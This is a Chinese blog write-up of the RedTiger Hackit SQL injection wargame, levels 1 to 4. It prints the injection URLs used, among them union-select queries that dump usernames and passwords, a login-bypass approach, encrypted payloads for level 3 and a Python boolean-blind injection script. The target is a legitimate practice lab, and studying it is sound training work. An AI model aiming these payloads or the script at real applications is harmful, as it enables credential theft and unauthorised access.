zoukankan      html  css  js  c++  java
  • redtiger sql injection 练习

    http://redtiger.labs.overthewire.org

    参考:

    https://juniorprincewang.github.io/2018/04/04/RedTiger-s-Hackit-writeup/

    https://blog.spoock.com/2016/07/25/redtiger-writeup/

    https://www.chainnews.com/articles/568076250754.htm

    all level

    level 1

    有提示信息,username Hornoxe;tablename level1_users。

    查看源码,一个post表单

     点击category,url参数cat=1有回显,很明显cat参数是数字类型,手工测试cat参数

    http://redtiger.labs.overthewire.org/level1.php?cat=1%20and%201=1

    http://redtiger.labs.overthewire.org/level1.php?cat=1%20and%201=2

     变化cat参数的真假,页面发生变化,并且条件为真时,页面有信息回显,说明cat参数存在sql 注入

    判断返回前端信息的数据行数,当order by参数为1,2,3,4时页面正常返回,参数为5时页面返回This category does not exist!,说明返回前端页面的数据行数为4

    http://redtiger.labs.overthewire.org/level1.php?cat=1%20order%20by%201
    ......

    通过union select确定回显数据位置, 3,4可以作为回显输出

    http://redtiger.labs.overthewire.org/level1.php?cat=1%20union%20select%201,2,3,4

     根据提示获得username和password

    http://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users

    登录成功

    level 2

    提示为 loginbypass,从绕过的角度出发,要想任意用户和密码通过验证,就要让后台sql语句条件为真

     brupsuite查看请求

    判断username和password为字符型,尝试单引号闭合并构造or语句让username和password条件为真。成功绕过登录成功

     

    level 3

    观察url发现usr参数被加密,多次尝试username,password无果,查看别人解答,讲usr变成数组提交,成功报错

    http://redtiger.labs.overthewire.org/level3.php?usr[]=123

    页面报错

    Warning: preg_match() expects parameter 2 to be string, array given in /var/www/html/hackit/urlcrypt.inc on line 26

    查找.inc文件的作用:inc 文件顾名思义是include file的意思。即PHP的包含文件,这里用后缀来表示文件的作用,inc文件一般加载一些设置

    根据urlcrupt.inc的名字猜测该文件用来加密url,通过

    http://redtiger.labs.overthewire.org/urlcrypt.inc
    <?php
    
        // warning! ugly code ahead :)
        // requires php5.x, sorry for that
              
        function encrypt($str)
        {
            $cryptedstr = "";
            srand(3284724);
            for ($i =0; $i < strlen($str); $i++)
            {
                $temp = ord(substr($str,$i,1)) ^ rand(0, 255);
                
                while(strlen($temp)<3)
                {
                    $temp = "0".$temp;
                }
                $cryptedstr .= $temp. "";
            }
            return base64_encode($cryptedstr);
        }
      
        function decrypt ($str)
        {
            srand(3284724);
            if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
            {
                $str = base64_decode($str);
                if ($str != "" && $str != null && $str != false)
                {
                    $decStr = "";
                    
                    for ($i=0; $i < strlen($str); $i+=3)
                    {
                        $array[$i/3] = substr($str,$i,3);
                    }
    
                    foreach($array as $s)
                    {
                        $a = $s ^ rand(0, 255);
                        $decStr .= chr($a);
                    }
                    
                    return $decStr;
                }
                return false;
            }
            return false;
        }
    ?>

    将该文件导入到现有的php项目中使用encrypt函数加密我们的payload,不知道什么原因加密出来的和redtiger后台加密的结果好像不一样,无法完成注入

    网上找到payload

    Admin'
    MDQyMjExMDE0MTgyMTQwMTc0
    Admin' and '1'='2
    MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg5MjA0MTAxMjUzMjE5MDI0MjMyMDY2MDY2MjM3
    Admin' and '1'='1
    MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg5MjA0MTAxMjUzMjE5MDI0MjMyMDY2MDY2MjM4
    Admin' order by 8#
    MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMxMDY2 # 报错
    Admin' order by 7#
    MDQyMjExMDE0MTgyMTQwMTc0MjIzMDg3MjA4MTAxMTg0MTQyMDA5MTczMDA2MDY5MjMyMDY2 # 不报错
    Admin' union select 1,2,3,4,5,6,7#
    MDQyMjExMDE0MTgyMTQwMTc0MjIzMDc3MjA0MTA0MTc4MTQ2MDA5MTg4MDI2MDA5MTg2MDAyMjMzMDc0MDYwMTk5MjM3MjE5MDg3MjQ2MTU0MjA4MTc2MDk2MTMxMjIwMDUxMDU5
    max' union select 1,2,3,4,5,6,7#
    MDA2MjE0MDI3MjQ4MTk0MjUyMTQ1MDgxMjA1MTExMjUzMTQzMDc2MTYzMDI2MDA2MTcxMDY1MTcyMDcwMDYzMTk5MjM2MjE5MDgwMjQ2MTU1MjA4MTc5MDk2MTMwMjEx

    得到回显位为:2,4,5,6,7

    # max' union select 1,2,3,4,5,6,password from level3_users where username='Admin'#
    MDA2MjE0MDI3MjQ4MTk0MjUyMTQ1MDgxMjA1MTExMjUzMTQzMDc2MTYzMDI2MDA2MTcxMDY1MTcyMDcwMDYzMTk5MjM2MjE5MDgwMjQ2MTU1MjA4MTc5MDk2MTk3MTQ1MTE5MTA3MTY3MTM3MjA4MTcxMDYyMDM0MTYyMTQ3MDQ0MjE4MTYwMTY1MDIyMjA2MDc4MjA1MDczMDY5MTUzMTQ3MDkwMDYxMjQwMTYwMDM0MDUxMDgxMTU0MTAzMDgyMTA3MTE0MTI0MjEzMTM0MDY0MTU0MTMzMDEzMDAwMjE0MTU1MTA3MTI1MTMzMDA2

    知道password,直接泄露password

     level 4

    题目是让我们得到level4_secret表中keyword列的第一个值,手工注入id参数

    http://redtiger.labs.overthewire.org/level4.php?id=1 and 1=1 #返回Query returned 1 rows.
    http://redtiger.labs.overthewire.org/level4.php?id=1 and 1=2 #返回Query returned 0 rows.

    说明id参数存在布尔盲注,通过length判断keyword第一个值的长度

    http://redtiger.labs.overthewire.org/level4.php?id=1 and (select length(keyword) from level4_secret limit 0,1) < 50

    可使用脚本判断,得到keyword第一个值的长度为21

    import requests
    
    
    get_url = "http://redtiger.labs.overthewire.org/level4.php?id=1 and (select length(keyword) from level4_secret limit 0,1) < {}"
    
    cookies = {
        'level2login':'passwords_will_change_over_time_let_us_do_a_shitty_rhyme',
        'level3login':'feed_the_cat_who_eats_your_bread',
        'level4login':'put_the_kitten_on_your_head'
    }
    
    initial_len = 50
    step = 1
    length = (1+50)/2
    while step <= initial_len:
        url = get_url.format(length)
        resp = requests.get(url, cookies=cookies)
        if resp.status_code != 200:
            print("[-] status code error")
        text = resp.text
        if text.find('Query returned 1 rows.') != -1:
            initial_len = length - 1
        else:
            step = length + 1
        length = (initial_len + step) / 2
    
    print('[+] length = %d'%length)

    继续使用脚本判断具体的21个字符

    需要牢记:ASCII字符集由95个可打印字符(0x20-0x7E)和33个控制字符(0x00-0x19,0x7F)组成

  • 相关阅读:
    面向 部分
    并发 编程
    数据库 部分
    匿名函数
    Linux 30岁,这些年经历了什么?
    漫谈 HTTP 连接
    华为交换机命令基础入门学习,小白也能看得懂!
    一文讲透APaaS平台是什么
    什么是边缘CDN和虚拟CDN (vCDN)?
    systemd进程管理工具实战教程
  • 原文地址:https://www.cnblogs.com/lw-monster/p/13982945.html
Copyright © 2011-2022 走看看